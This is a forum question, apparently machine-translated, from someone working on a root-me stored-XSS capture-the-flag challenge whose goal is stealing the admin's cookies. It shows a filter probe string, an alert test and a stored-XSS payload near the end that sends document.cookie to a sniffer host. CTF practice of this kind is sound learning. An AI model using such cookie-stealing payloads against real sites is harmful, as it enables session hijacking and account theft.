Answer the question
In order to leave comments, you need to log in
Question for fans of CTF(XSS)?
Good afternoon,
I'm slowly going through CTF (XSS - Stored 2) on root-me, in general, the task, as always, is to steal the admin cookies, because at the time when this challenge was created, there was no 'http only' flag yet. So I found an input that seems to skip all the characters, which I immediately checked by feeding it to it:
'';!--"<fuck>=&{()}
Then I tried it, insert the usual alert ()
I press F12 and go to look where exactly (between which tags) it was put by the backend ...
<script>alert(1)</alert>
<html><head>
<title>Forum v0.002</title>
<style>
.invite { color: green; }
.admin { color: red;}
</style>
</head>
<body><link rel="stylesheet" property="stylesheet" id="s" type="text/css" href="/template/s.css" media="all"><iframe id="iframe" src="https://www.root-me.org/?page=externe_header"></iframe>
<h1>Forum v0.002</h1>
<hr>
<div>
<span><a href="./?section=admin">admin</a></span>
<span style="text-align: right; float:right;">Statut / Status : <i class="invite">invite</i></span>
</div><br>
<b>message enregistré / content saved</b><br><br> <form action="" method="POST">
<div>
Titre / Title :<br>
<input name="titre" value="" type="text">
</div><br>
<div>
Message / Content :<br>
<textarea name="message" rows="3" cols="50"></textarea>
</div>
<div>
<input value="envoyer / send" type="submit">
</div>
</form><br><br>
<div>
<div>Posted messages:</div><br>
<span><b>Welcome</b></span><br>
<span>N'hésitez pas à me laisser un message / Don't hesitate, let a message</span><br><hr>
<span><b>test_filter</b> (<i class="invite">status : invite</i>)</span><br><span>'';!--"<fuck>=&{()} </span><br><hr>
</div>
</body></html>
<script>alert(1)</alert>
</span></br></div><script>document.location.href = 'https://mysniffer?cookies =' + document.cookie;</script><div><span>
Answer the question
In order to leave comments, you need to log in
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question